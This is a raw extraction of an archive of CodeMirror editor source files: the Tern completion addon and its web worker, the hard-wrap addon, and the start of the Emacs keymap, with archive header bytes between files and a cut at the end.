f(a,b){a.server.request({files:[{type:"full",name:b.name,text:F(a,b)}]},(function(a){a?window.console.error(a):b.changed=null}))}function
g(b,c,d){b.request(c,{type:"completions",types:!0,docs:!0,urls:!0},(function(e,f){if(e)return
D(b,c,e);var
g=[],i="",j=f.start,k=f.end;'["'==c.getRange(H(j.line,j.ch-2),j)&&'"]'!=c.getRange(k,H(k.line,k.ch+2))&&(i='"]');for(var
l=0;l<f.completions.length;++l){var
m=f.completions[l],n=h(m.type);f.guess&&(n+="
"+I+"guess"),g.push({text:m.name+i,displayText:m.displayName||m.name,className:n,data:m})}var
o={from:j,to:k,list:g},p=null;a.on(o,"close",(function(){B(p)})),a.on(o,"update",(function(){B(p)})),a.on(o,"select",(function(a,d){B(p);var
e=b.options.completionTip?b.options.completionTip(a.data):a.data.doc;e&&(p=A(d.parentNode.getBoundingClientRect().right+window.pageXOffset,d.getBoundingClientRect().top+window.pageYOffset,e,c),p.className+="
"+I+"hint-doc")})),d(o)}))}function h(a){var b;return
b="?"==a?"unknown":"number"==a||"string"==a||"bool"==a?a:/^fn\(/.test(a)?"fn":/^\[/.test(a)?"array":"object",I+"completion
"+I+"completion-"+b}function
i(a,b,c,d,e){a.request(b,d,(function(c,d){if(c)return
D(a,b,c);if(a.options.typeTip)var f=a.options.typeTip(d);else{var
f=w("span",null,w("strong",null,d.type||"not
found"));if(d.doc&&f.appendChild(document.createTextNode("
— "+d.doc)),d.url){f.appendChild(document.createTextNode("
"));var
g=f.appendChild(w("a",null,"[docs]"));g.href=d.url,g.target="_blank"}}y(b,f,a),e&&e()}),c)}function
j(b,c){if(E(b),!c.somethingSelected()){var
d=c.getTokenAt(c.getCursor()).state,e=a.innerMode(c.getMode(),d);if("javascript"==e.mode.name){var
f=e.state.lexical;if("call"==f.info){for(var
g,h=f.pos||0,i=c.getOption("tabSize"),j=c.getCursor().line,m=Math.max(0,j-9),n=!1;j>=m;--j){for(var
o=c.getLine(j),p=0,q=0;;){var
r=o.indexOf("\t",q);if(-1==r)break;p+=i-(r+p)%i-1,q=r+1}if(g=f.column-p,"("==o.charAt(g)){n=!0;break}}if(n){var
s=H(j,g),t=b.cachedArgHints;if(t&&t.doc==c.getDoc()&&0==L(s,t.start))return
k(b,c,h);b.request(c,{type:"type",preferFunction:!0,end:s},(function(a,d){!a&&d.type&&/^fn\(/.test(d.type)&&(b.cachedArgHints={start:s,type:l(d.type),name:d.exprName||d.name||"fn",guess:d.guess,doc:c.getDoc()},k(b,c,h))}))}}}}}function
k(a,b,c){E(a);for(var
d=a.cachedArgHints,e=d.type,f=w("span",d.guess?I+"fhint-guess":null,w("span",I+"fname",d.name),"("),g=0;g<e.args.length;++g){g&&f.appendChild(document.createTextNode(",
"));var
h=e.args[g];f.appendChild(w("span",I+"farg"+(g==c?"
"+I+"farg-current":""),h.name||"?")),"?"!=h.type&&(f.appendChild(document.createTextNode(": ")),f.appendChild(w("span",I+"type",h.type)))}f.appendChild(document.createTextNode(e.rettype?")
-> ":")")),e.rettype&&f.appendChild(w("span",I+"type",e.rettype));var
i=b.cursorCoords(null,"page"),j=a.activeArgHints=A(i.right+1,i.bottom,f,b);setTimeout((function(){j.clear=z(b,(function(){a.activeArgHints==j&&E(a)}))}),20)}function
l(a){var b=[],c=3;if(")"!=a.charAt(c))for(;;){var
d=a.slice(c).match(/^([^, \(\[\{]+):
/);if(d&&(c+=d[0].length,d=d[1]),b.push({name:d,type:(function(b){for(var
d=0,e=c;;){var f=a.charAt(c);if(b.test(f)&&!d)return
a.slice(e,c);/[{\[\(]/.test(f)?++d:/[}\]\)]/.test(f)&&--d,++c}})(/[\),]/)}),")"==a.charAt(c))break;c+=2}var
e=a.slice(c).match(/^\) ->
(.*)$/);return{args:b,rettype:e&&e[1]}}function m(a,b){function
d(d){var
e={type:"definition",variable:d||null},f=c(a,b.getDoc());a.server.request(u(a,f,e),(function(c,d){if(c)return
D(a,b,c);if(!d.file&&d.url)return void
window.open(d.url);if(d.file){var
e,g=a.docs[d.file];if(g&&(e=p(g.doc,d)))return
a.jumpStack.push({file:f.name,start:b.getCursor("from"),end:b.getCursor("to")}),void
o(a,f,g,e.start,e.end)}D(a,b,"Could not find a
definition.")}))}q(b)?d():x(b,"Jump to
variable",(function(a){a&&d(a)}))}function n(a,b){var
d=a.jumpStack.pop(),e=d&&a.docs[d.file];e&&o(a,c(a,b.getDoc()),e,d.start,d.end)}function
o(a,b,c,d,e){c.doc.setSelection(d,e),b!=c&&a.options.switchToDoc&&(E(a),a.options.switchToDoc(c.name,c.doc))}function
p(a,b){for(var
c=b.context.slice(0,b.contextOffset).split("\n"),d=b.start.line-(c.length-1),e=H(d,(1==c.length?b.start.ch:a.getLine(d).length)-c[0].length),f=a.getLine(d).slice(e.ch),g=d+1;g<a.lineCount()&&f.length<b.context.length;++g)f+="\n"+a.getLine(g);if(f.slice(0,b.context.length)==b.context)return
b;for(var h,i=a.getSearchCursor(b.context,0,!1),j=1/0;i.findNext();){var
k=i.from(),l=1e4*Math.abs(k.line-e.line);l||(l=Math.abs(k.ch-e.ch)),l<j&&(h=k,j=l)}if(!h)return
null;if(1==c.length?h.ch+=c[0].length:h=H(h.line+(c.length-1),c[c.length-1].length),b.start.line==b.end.line)var
m=H(h.line,h.ch+(b.end.ch-b.start.ch));else var
m=H(h.line+(b.end.line-b.start.line),b.end.ch);return{start:h,end:m}}function
q(a){var
b=a.getCursor("end"),c=a.getTokenAt(b);return!(c.start<b.ch&&"comment"==c.type)&&/[\w)\]]/.test(a.getLine(b.line).slice(Math.max(b.ch-1,0),b.ch+1))}function
r(a,b){var c=b.getTokenAt(b.getCursor());if(!/\w/.test(c.string))return
D(a,b,"Not at a variable");x(b,"New name for
"+c.string,(function(c){a.request(b,{type:"rename",newName:c,fullDocs:!0},(function(c,d){if(c)return
D(a,b,c);t(a,d.changes)}))}))}function s(a,b){var
d=c(a,b.doc).name;a.request(b,{type:"refs"},(function(c,e){if(c)return
D(a,b,c);for(var f=[],g=0,h=b.getCursor(),i=0;i<e.refs.length;i++){var
j=e.refs[i];j.file==d&&(f.push({anchor:j.start,head:j.end}),L(h,j.start)>=0&&L(h,j.end)<=0&&(g=f.length-1))}b.setSelections(f,g)}))}function
t(a,b){for(var c=Object.create(null),d=0;d<b.length;++d){var
e=b[d];(c[e.file]||(c[e.file]=[])).push(e)}for(var f in c){var
g=a.docs[f],h=c[f];if(g){h.sort((function(a,b){return
L(b.start,a.start)}));for(var i="*rename"+
++K,d=0;d<h.length;++d){var
e=h[d];g.doc.replaceRange(e.text,e.start,e.end,i)}}}}function
u(a,b,c,d){var e=[],f=0,g=!c.fullDocs;g||delete
c.fullDocs,"string"==typeof
c&&(c={type:c}),c.lineCharPositions=!0,null==c.end&&(c.end=d||b.doc.getCursor("end"),b.doc.somethingSelected()&&(c.start=b.doc.getCursor("start")));var
h=c.start||c.end;if(b.changed)if(b.doc.lineCount()>J&&!1!==g&&b.changed.to-b.changed.from<100&&b.changed.from<=h.line&&b.changed.to>c.end.line){e.push(v(b,h,c.end)),c.file="#0";var
f=e[0].offsetLines;null!=c.start&&(c.start=H(c.start.line-
-f,c.start.ch)),c.end=H(c.end.line-f,c.end.ch)}else
e.push({type:"full",name:b.name,text:F(a,b)}),c.file=b.name,b.changed=null;else
c.file=b.name;for(var i in a.docs){var
j=a.docs[i];j.changed&&j!=b&&(e.push({type:"full",name:j.name,text:F(a,j)}),j.changed=null)}return{query:c,files:e}}function
v(b,c,d){for(var
e,f=b.doc,g=null,h=null,i=c.line-1,j=Math.max(0,i-50);i>=j;--i){var
k=f.getLine(i);if(!(k.search(/\bfunction\b/)<0)){var
l=a.countColumn(k,null,4);null!=g&&g<=l||(g=l,h=i)}}null==h&&(h=j);var
m=Math.min(f.lastLine(),d.line+20);if(null==g||g==a.countColumn(f.getLine(c.line),null,4))e=m;else
for(e=d.line+1;e<m;++e){var
l=a.countColumn(f.getLine(e),null,4);if(l<=g)break}var
n=H(h,0);return{type:"part",name:b.name,offsetLines:n.line,text:f.getRange(n,H(e,d.line==e?null:0))}}function
w(a,b){var c=document.createElement(a);b&&(c.className=b);for(var
d=2;d<arguments.length;++d){var
e=arguments[d];"string"==typeof
e&&(e=document.createTextNode(e)),c.appendChild(e)}return
c}function x(a,b,c){a.openDialog?a.openDialog(b+": <input
type=text>",c):c(prompt(b,""))}function y(b,c,d){function
e(){j=!0,i||f()}function
f(){b.state.ternTooltip=null,h.parentNode&&C(h),k()}b.state.ternTooltip&&B(b.state.ternTooltip);var
g=b.cursorCoords(),h=b.state.ternTooltip=A(g.right+1,g.bottom,c,b),i=!1,j=!1;a.on(h,"mousemove",(function(){i=!0})),a.on(h,"mouseout",(function(b){var
c=b.relatedTarget||b.toElement;c&&a.contains(h,c)||(j?f():i=!1)})),setTimeout(e,d.options.hintDelay?d.options.hintDelay:1700);var
k=z(b,f)}function z(a,b){return
a.on("cursorActivity",b),a.on("blur",b),a.on("scroll",b),a.on("setDoc",b),function(){a.off("cursorActivity",b),a.off("blur",b),a.off("scroll",b),a.off("setDoc",b)}}function
A(a,b,c,d){var e=w("div",I+"tooltip",c);return
e.style.left=a+"px",e.style.top=b+"px",(((d.options||{}).hintOptions||{}).container||document.body).appendChild(e),e}function
B(a){var b=a&&a.parentNode;b&&b.removeChild(a)}function
C(a){a.style.opacity="0",setTimeout((function(){B(a)}),1100)}function
D(a,b,c){a.options.showError?a.options.showError(b,c):y(b,String(c),a)}function
E(a){a.activeArgHints&&(a.activeArgHints.clear&&a.activeArgHints.clear(),B(a.activeArgHints),a.activeArgHints=null)}function
F(a,b){var c=b.doc.getValue();return
a.options.fileFilter&&(c=a.options.fileFilter(c,b.name,b.doc)),c}function
G(a){function c(a,b){b&&(a.id=++e,f[e]=b),d.postMessage(a)}var
d=a.worker=new
Worker(a.options.workerScript);d.postMessage({type:"init",defs:a.options.defs,plugins:a.options.plugins,scripts:a.options.workerDeps});var
e=0,f={};d.onmessage=function(d){var
e=d.data;"getFile"==e.type?b(a,e.name,(function(a,b){c({type:"getFile",err:String(a),text:b,id:e.id})})):"debug"==e.type?window.console.log(e.message):e.id&&f[e.id]&&(f[e.id](e.err,e.body),delete
f[e.id])},d.onerror=function(a){for(var b in
f)f[b](a);f={}},this.addFile=function(a,b){c({type:"add",name:a,text:b})},this.delFile=function(a){c({type:"del",name:a})},this.request=function(a,b){c({type:"req",body:a},b)}}a.TernServer=function(a){var
c=this;this.options=a||{};var
d=this.options.plugins||(this.options.plugins={});d.doc_comment||(d.doc_comment=!0),this.docs=Object.create(null),this.options.useWorker?this.server=new
G(this):this.server=new tern.Server({getFile:function(a,d){return
b(c,a,d)},async:!0,defs:this.options.defs||[],plugins:d}),this.trackChange=function(a,b){e(c,a,b)},this.cachedArgHints=null,this.activeArgHints=null,this.jumpStack=[],this.getHint=function(a,b){return
g(c,a,b)},this.getHint.async=!0},a.TernServer.prototype={addDoc:function(b,c){var
d={doc:c,name:b,changed:null};return
this.server.addFile(b,F(this,d)),a.on(c,"change",this.trackChange),this.docs[b]=d},delDoc:function(b){var
c=d(this,b);c&&(a.off(c.doc,"change",this.trackChange),delete
this.docs[c.name],this.server.delFile(c.name))},hideDoc:function(a){E(this);var
b=d(this,a);b&&b.changed&&f(this,b)},complete:function(a){a.showHint({hint:this.getHint})},showType:function(a,b,c){i(this,a,b,"type",c)},showDocs:function(a,b,c){i(this,a,b,"documentation",c)},updateArgHints:function(a){j(this,a)},jumpToDef:function(a){m(this,a)},jumpBack:function(a){n(this,a)},rename:function(a){r(this,a)},selectName:function(a){s(this,a)},request:function(a,b,d,e){var
f=this,g=c(this,a.getDoc()),h=u(this,g,b,e),i=h.query&&this.options.queryOptions&&this.options.queryOptions[h.query.type];if(i)for(var
j in
i)h.query[j]=i[j];this.server.request(h,(function(a,c){!a&&f.options.responseFilter&&(c=f.options.responseFilter(g,b,h,a,c)),d(a,c)}))},destroy:function(){E(this),this.worker&&(this.worker.terminate(),this.worker=null)}};var
H=a.Pos,I="CodeMirror-Tern-",J=250,K=0,L=a.cmpPos}));PKA��[W��Q��codemirror/addon/tern/worker.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// declare global: tern, server

var server;

this.onmessage = function(e) {
  var data = e.data;
  switch (data.type) {
  case "init": return startServer(data.defs, data.plugins,
data.scripts);
  case "add": return server.addFile(data.name, data.text);
  case "del": return server.delFile(data.name);
  case "req": return server.request(data.body, function(err,
reqData) {
    postMessage({id: data.id, body: reqData, err: err &&
String(err)});
  });
  case "getFile":
    var c = pending[data.id];
    delete pending[data.id];
    return c(data.err, data.text);
  default: throw new Error("Unknown message type: " + data.type);
  }
};

var nextId = 0, pending = {};
function getFile(file, c) {
  postMessage({type: "getFile", name: file, id: ++nextId});
  pending[nextId] = c;
}

function startServer(defs, plugins, scripts) {
  if (scripts) importScripts.apply(null, scripts);

  server = new tern.Server({
    getFile: getFile,
    async: true,
    defs: defs,
    plugins: plugins
  });
}

this.console = {
  log: function(v) { postMessage({type: "debug", message: v}); }
};
PKA��[�:���#codemirror/addon/tern/worker.min.jsnu�[���function
getFile(a,b){postMessage({type:"getFile",name:a,id:++nextId}),pending[nextId]=b}function
startServer(a,b,c){c&&importScripts.apply(null,c),server=new
tern.Server({getFile:getFile,async:!0,defs:a,plugins:b})}var
server;this.onmessage=function(a){var
b=a.data;switch(b.type){case"init":return
startServer(b.defs,b.plugins,b.scripts);case"add":return
server.addFile(b.name,b.text);case"del":return
server.delFile(b.name);case"req":return
server.request(b.body,(function(a,c){postMessage({id:b.id,body:c,err:a&&String(a)})}));case"getFile":var
c=pending[b.id];return delete pending[b.id],c(b.err,b.text);default:throw
new Error("Unknown message type: "+b.type)}};var
nextId=0,pending={};this.console={log:function(a){postMessage({type:"debug",message:a})}};PKA��[��օ�!codemirror/addon/wrap/hardwrap.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var Pos = CodeMirror.Pos;

  function findParagraph(cm, pos, options) {
    var startRE = options.paragraphStart || cm.getHelper(pos,
"paragraphStart");
    for (var start = pos.line, first = cm.firstLine(); start > first;
--start) {
      var line = cm.getLine(start);
      if (startRE && startRE.test(line)) break;
      if (!/\S/.test(line)) { ++start; break; }
    }
    var endRE = options.paragraphEnd || cm.getHelper(pos,
"paragraphEnd");
    for (var end = pos.line + 1, last = cm.lastLine(); end <= last;
++end) {
      var line = cm.getLine(end);
      if (endRE && endRE.test(line)) { ++end; break; }
      if (!/\S/.test(line)) break;
    }
    return {from: start, to: end};
  }

  function findBreakPoint(text, column, wrapOn, killTrailingSpace,
forceBreak) {
    var at = column
    while (at < text.length && text.charAt(at) == " ")
at++
    for (; at > 0; --at)
      if (wrapOn.test(text.slice(at - 1, at + 1))) break;

    if (at == 0 && !forceBreak) {
      // didn't find a break point before column, in non-forceBreak
mode try to
      // find one after 'column'.
      for (at = column + 1; at < text.length - 1; ++at) {
        if (wrapOn.test(text.slice(at - 1, at + 1))) break;
      }
    }

    for (var first = true;; first = false) {
      var endOfText = at;
      if (killTrailingSpace)
        while (text.charAt(endOfText - 1) == " ") --endOfText;
      if (endOfText == 0 && first) at = column;
      else return {from: endOfText, to: at};
    }
  }

  function wrapRange(cm, from, to, options) {
    from = cm.clipPos(from); to = cm.clipPos(to);
    var column = options.column || 80;
    var wrapOn = options.wrapOn || /\s\S|-[^\.\d]/;
    var forceBreak = options.forceBreak !== false;
    var killTrailing = options.killTrailingSpace !== false;
    var changes = [], curLine = "", curNo = from.line;
    var lines = cm.getRange(from, to, false);
    if (!lines.length) return null;
    var leadingSpace = lines[0].match(/^[ \t]*/)[0];
    if (leadingSpace.length >= column) column = leadingSpace.length + 1

    for (var i = 0; i < lines.length; ++i) {
      var text = lines[i], oldLen = curLine.length, spaceInserted = 0;
      if (curLine && text &&
!wrapOn.test(curLine.charAt(curLine.length - 1) + text.charAt(0))) {
        curLine += " ";
        spaceInserted = 1;
      }
      var spaceTrimmed = "";
      if (i) {
        spaceTrimmed = text.match(/^\s*/)[0];
        text = text.slice(spaceTrimmed.length);
      }
      curLine += text;
      if (i) {
        var firstBreak = curLine.length > column && leadingSpace
== spaceTrimmed &&
          findBreakPoint(curLine, column, wrapOn, killTrailing,
forceBreak);
        // If this isn't broken, or is broken at a different point,
remove old break
        if (!firstBreak || firstBreak.from != oldLen || firstBreak.to !=
oldLen + spaceInserted) {
          changes.push({text: [spaceInserted ? " " :
""],
                        from: Pos(curNo, oldLen),
                        to: Pos(curNo + 1, spaceTrimmed.length)});
        } else {
          curLine = leadingSpace + text;
          ++curNo;
        }
      }
      while (curLine.length > column) {
        var bp = findBreakPoint(curLine, column, wrapOn, killTrailing,
forceBreak);
        if (bp.from != bp.to || forceBreak) {
          changes.push({text: ["", leadingSpace],
                        from: Pos(curNo, bp.from),
                        to: Pos(curNo, bp.to)});
          curLine = leadingSpace + curLine.slice(bp.to);
          ++curNo;
        } else {
          break;
        }
      }
    }
    if (changes.length) cm.operation(function() {
      for (var i = 0; i < changes.length; ++i) {
        var change = changes[i];
        if (change.text || CodeMirror.cmpPos(change.from, change.to))
          cm.replaceRange(change.text, change.from, change.to);
      }
    });
    return changes.length ? {from: changes[0].from, to:
CodeMirror.changeEnd(changes[changes.length - 1])} : null;
  }

  CodeMirror.defineExtension("wrapParagraph", function(pos,
options) {
    options = options || {};
    if (!pos) pos = this.getCursor();
    var para = findParagraph(this, pos, options);
    return wrapRange(this, Pos(para.from, 0), Pos(para.to - 1), options);
  });

  CodeMirror.commands.wrapLines = function(cm) {
    cm.operation(function() {
      var ranges = cm.listSelections(), at = cm.lastLine() + 1;
      for (var i = ranges.length - 1; i >= 0; i--) {
        var range = ranges[i], span;
        if (range.empty()) {
          var para = findParagraph(cm, range.head, {});
          span = {from: Pos(para.from, 0), to: Pos(para.to - 1)};
        } else {
          span = {from: range.from(), to: range.to()};
        }
        if (span.to.line >= at) continue;
        at = span.from.line;
        wrapRange(cm, span.from, span.to, {});
      }
    });
  };

  CodeMirror.defineExtension("wrapRange", function(from, to,
options) {
    return wrapRange(this, from, to, options || {});
  });

  CodeMirror.defineExtension("wrapParagraphsInRange",
function(from, to, options) {
    options = options || {};
    var cm = this, paras = [];
    for (var line = from.line; line <= to.line;) {
      var para = findParagraph(cm, Pos(line, 0), options);
      paras.push(para);
      line = para.to;
    }
    var madeChange = false;
    if (paras.length) cm.operation(function() {
      for (var i = paras.length - 1; i >= 0; --i)
        madeChange = madeChange || wrapRange(cm, Pos(paras[i].from, 0),
Pos(paras[i].to - 1), options);
    });
    return madeChange;
  });
});
PKA��[+a�

%codemirror/addon/wrap/hardwrap.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a,b,c){for(var
d=c.paragraphStart||a.getHelper(b,"paragraphStart"),e=b.line,f=a.firstLine();e>f;--e){var
g=a.getLine(e);if(d&&d.test(g))break;if(!/\S/.test(g)){++e;break}}for(var
h=c.paragraphEnd||a.getHelper(b,"paragraphEnd"),i=b.line+1,j=a.lastLine();i<=j;++i){var
g=a.getLine(i);if(h&&h.test(g)){++i;break}if(!/\S/.test(g))break}return{from:e,to:i}}function
c(a,b,c,d,e){for(var f=b;f<a.length&&"
"==a.charAt(f);)f++;for(;f>0&&!c.test(a.slice(f-1,f+1));--f);if(0==f&&!e)for(f=b+1;f<a.length-1&&!c.test(a.slice(f-1,f+1));++f);for(var
g=!0;;g=!1){var h=f;if(d)for(;"
"==a.charAt(h-1);)--h;if(0!=h||!g)return{from:h,to:f};f=b}}function
d(b,d,f,g){d=b.clipPos(d),f=b.clipPos(f);var
h=g.column||80,i=g.wrapOn||/\s\S|-[^\.\d]/,j=!1!==g.forceBreak,k=!1!==g.killTrailingSpace,l=[],m="",n=d.line,o=b.getRange(d,f,!1);if(!o.length)return
null;var p=o[0].match(/^[
\t]*/)[0];p.length>=h&&(h=p.length+1);for(var
q=0;q<o.length;++q){var
r=o[q],s=m.length,t=0;m&&r&&!i.test(m.charAt(m.length-1)+r.charAt(0))&&(m+="
",t=1);var
u="";if(q&&(u=r.match(/^\s*/)[0],r=r.slice(u.length)),m+=r,q){var
v=m.length>h&&p==u&&c(m,h,i,k,j);v&&v.from==s&&v.to==s+t?(m=p+r,++n):l.push({text:[t?"
":""],from:e(n,s),to:e(n+1,u.length)})}for(;m.length>h;){var
w=c(m,h,i,k,j);if(w.from==w.to&&!j)break;l.push({text:["",p],from:e(n,w.from),to:e(n,w.to)}),m=p+m.slice(w.to),++n}}return
l.length&&b.operation((function(){for(var
c=0;c<l.length;++c){var
d=l[c];(d.text||a.cmpPos(d.from,d.to))&&b.replaceRange(d.text,d.from,d.to)}})),l.length?{from:l[0].from,to:a.changeEnd(l[l.length-1])}:null}var
e=a.Pos;a.defineExtension("wrapParagraph",(function(a,c){c=c||{},a||(a=this.getCursor());var
f=b(this,a,c);return
d(this,e(f.from,0),e(f.to-1),c)})),a.commands.wrapLines=function(a){a.operation((function(){for(var
c=a.listSelections(),f=a.lastLine()+1,g=c.length-1;g>=0;g--){var
h,i=c[g];if(i.empty()){var
j=b(a,i.head,{});h={from:e(j.from,0),to:e(j.to-1)}}else
h={from:i.from(),to:i.to()};h.to.line>=f||(f=h.from.line,d(a,h.from,h.to,{}))}}))},a.defineExtension("wrapRange",(function(a,b,c){return
d(this,a,b,c||{})})),a.defineExtension("wrapParagraphsInRange",(function(a,c,f){f=f||{};for(var
g=this,h=[],i=a.line;i<=c.line;){var
j=b(g,e(i,0),f);h.push(j),i=j.to}var k=!1;return
h.length&&g.operation((function(){for(var
a=h.length-1;a>=0;--a)k=k||d(g,e(h[a].from,0),e(h[a].to-1),f)})),k}))}));PKA��[qh{��5�5codemirror/keymap/emacs.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var Pos = CodeMirror.Pos;
  function posEq(a, b) { return a.line == b.line && a.ch == b.ch; }

  // Kill 'ring'

  var killRing = [];
  function addToRing(str) {
    killRing.push(str);
    if (killRing.length > 50) killRing.shift();
  }
  function growRingTop(str) {
    if (!killRing.length) return addToRing(str);
    killRing[killRing.length - 1] += str;
  }
  function getFromRing(n) { return killRing[killRing.length - (n ?
Math.min(n, 1) : 1)] || ""; }
  function popFromRing() { if (killRing.length > 1) killRing.pop();
return getFromRing(); }

  var lastKill = null;

  function kill(cm, from, to, ring, text) {
    if (text == null) text = cm.getRange(from, to);

    if (ring == "grow" && lastKill && lastKill.cm
== cm && posEq(from, lastKill.pos) &&
cm.isClean(lastKill.gen))
      growRingTop(text);
    else if (ring !== false)
      addToRing(text);
    cm.replaceRange("", from, to, "+delete");

    if (ring == "grow") lastKill = {cm: cm, pos: from, gen:
cm.changeGeneration()};
    else lastKill = null;
  }

  // Boundaries of various units

  function byChar(cm, pos, dir) {
    return cm.findPosH(pos, dir, "char", true);
  }

  function byWord(cm, pos, dir) {
    return cm.findPosH(pos, dir, "word", true);
  }

  function byLine(cm, pos, dir) {
    return cm.findPosV(pos, dir, "line", cm.doc.sel.goalColumn);
  }

  function byPage(cm, pos, dir) {
    return cm.findPosV(pos, dir, "page", cm.doc.sel.goalColumn);
  }

  function byParagraph(cm, pos, dir) {
    var no = pos.line, line = cm.getLine(no);
    var sawText = /\S/.test(dir < 0 ? line.slice(0, pos.ch) :
line.slice(pos.ch));
    var fst = cm.firstLine(), lst = cm.lastLine();
    for (;;) {
      no += dir;
      if (no < fst || no > lst)
        return cm.clipPos(Pos(no - dir, dir < 0 ? 0 : null));
      line = cm.getLine(no);
      var hasText = /\S/.test(line);
      if (hasText) sawText = true;
      else if (sawText) return Pos(no, 0);
    }
  }

  function bySentence(cm, pos, dir) {
    var line = pos.line, ch = pos.ch;
    var text = cm.getLine(pos.line), sawWord = false;
    for (;;) {
      var next = text.charAt(ch + (dir < 0 ? -1 : 0));
      if (!next) { // End/beginning of line reached
        if (line == (dir < 0 ? cm.firstLine() : cm.lastLine())) return
Pos(line, ch);
        text = cm.getLine(line + dir);
        if (!/\S/.test(text)) return Pos(line, ch);
        line += dir;
        ch = dir < 0 ? text.length : 0;
        continue;
      }
      if (sawWord && /[!?.]/.test(next)) return Pos(line, ch + (dir
> 0 ? 1 : 0));
      if (!sawWord) sawWord = /\w/.test(next);
      ch += dir;
    }
  }

  function byExpr(cm, pos, dir) {
    var wrap;
    if (cm.findMatchingBracket && (wrap =
cm.findMatchingBracket(pos, {strict: true}))
        && wrap.match && (wrap.forward ? 1 : -1) == dir)
      return dir > 0 ? Pos(wrap.to.line, wrap.to.ch + 1) : wrap.to;

    for (var first = true;; first = false) {
      var token = cm.getTokenAt(pos);
      var after = Pos(pos.line, dir < 0 ? token.start : token.end);
      if (first && dir > 0 && token.end == pos.ch ||
!/\w/.test(token.string)) {
        var newPos = cm.findPosH(after, dir, "char");
        if (posEq(after, newPos)) return pos;
        else pos = newPos;
      } else {
        return after;
      }
    }
  }

  // Prefixes (only crudely supported)

  function getPrefix(cm, precise) {
    var digits = cm.state.emacsPrefix;
    if (!digits) return precise ? null : 1;
    clearPrefix(cm);
    return digits == "-" ? -1 : Number(digits);
  }

  function repeated(cmd) {
    var f = typeof cmd == "string" ? function(cm) {
cm.execCommand(cmd); } : cmd;
    return function(cm) {
      var prefix = getPrefix(cm);
      f(cm);
      for (var i = 1; i < prefix; ++i) f(cm);
    };
  }

  function findEnd(cm, pos, by, dir) {
    var prefix = getPrefix(cm);
    if (prefix < 0) { dir = -dir; prefix = -prefix; }
    for (var i = 0; i < prefix; ++i) {
      var newPos = by(cm, pos, dir);
      if (posEq(newPos, pos)) break;
      pos = newPos;
    }
    return pos;
  }

  function move(by, dir) {
    var f = function(cm) {
      cm.extendSelection(findEnd(cm, cm.getCursor(), by, dir));
    };
    f.motion = true;
    return f;
  }

  function killTo(cm, by, dir, ring) {
    var selections = cm.listSelections(), cursor;
    var i = selections.length;
    while (i--) {
      cursor = selections[i].head;
      kill(cm, cursor, findEnd(cm, cursor, by, dir), ring);
    }
  }

  function killRegion(cm, ring) {
    if (cm.somethingSelected()) {
      var selections = cm.listSelections(), selection;
      var i = selections.length;
      while (i--) {
        selection = selections[i];
        kill(cm, selection.anchor, selection.head, ring);
      }
      return true;
    }
  }

  function addPrefix(cm, digit) {
    if (cm.state.emacsPrefix) {
      if (digit != "-") cm.state.emacsPrefix += digit;
      return;
    }
    // Not active yet
    cm.state.emacsPrefix = digit;
    cm.on("keyHandled", maybeClearPrefix);
    cm.on("inputRead", maybeDuplicateInput);
  }

  var prefixPreservingKeys = {"Alt-G": true, "Ctrl-X":
true, "Ctrl-Q": true, "Ctrl-U": true};

  function maybeClearPrefix(cm, arg) {
    if (!cm.state.emacsPrefixMap &&
!prefixPreservingKeys.hasOwnProperty(arg))
      clearPrefix(cm);
  }

  function clearPrefix(cm) {
    cm.state.emacsPrefix = null;
    cm.off("keyHandled", maybeClearPrefix);
    cm.off("inputRead", maybeDuplicateInput);
  }

  function maybeDuplicateInput(cm, event) {
    var dup = getPrefix(cm);
    if (dup > 1 && event.origin == "+input") {
      var one = event.text.join("\n"), txt = "";
      for (var i = 1; i < dup; ++i) txt += one;
      cm.replaceSelection(txt);
    }
  }

  function addPrefixMap(cm) {
    cm.state.emacsPrefixMap = true;
    cm.addKeyMap(prefixMap);
    cm.on("keyHandled", maybeRemovePrefixMap);
    cm.on("inputRead", maybeRemovePrefixMap);
  }

  function maybeRemovePrefixMap(cm, arg) {
    if (typeof arg == "string" && (/^\d$/.test(arg) ||
arg == "Ctrl-U")) return;
    cm.removeKeyMap(prefixMap);
    cm.state.emacsPrefixMap = false;
    cm.off("keyHandled", maybeRemovePrefixMap);
    cm.off("inputRead", maybeRemovePrefixMap);
  }

  // Utilities

  function setMark(cm) {
    cm.setCursor(cm.getCursor());
    cm.setExtending(!cm.getExtending());
    cm.on("change", function() { cm.setExtending(false); });
  }

  function clearMark(cm) {
    cm.setExtending(false);
    cm.setCursor(cm.getCursor());
  }

  function getInput(cm, msg, f) {
    if (cm.openDialog)
      cm.openDialog(msg + ": <input type=\"text\"
style=\"width: 10em\"/>", f, {bottom: true});
    else
      f(prompt(msg, ""));
  }

  function operateOnWord(cm, op) {
    var start = cm.getCursor(), end = cm.findPosH(start, 1,
"word");
    cm.replaceRange(op(cm.getRange(start, end)), start, end);
    cm.setCursor(end);
  }

  function toEnclosingExpr(cm) {
    var pos = cm.getCursor(), line = pos.line, ch = pos.ch;
    var stack = [];
    while (line >= cm.firstLine()) {
      var text = cm.getLine(line);
      for (var i = ch == null ? text.length : ch; i > 0;) {
        var ch = text.charAt(--i);
        if (ch == ")")
          stack.push("(");
        else if (ch == "]")
          stack.push("[");
        else if (ch == "}")
          stack.push("{");
        else if (/[\(\{\[]/.test(ch) && (!stack.length ||
stack.pop() != ch))
          return cm.extendSelection(Pos(line, i));
      }
      --line; ch = null;
    }
  }

  function quit(cm) {
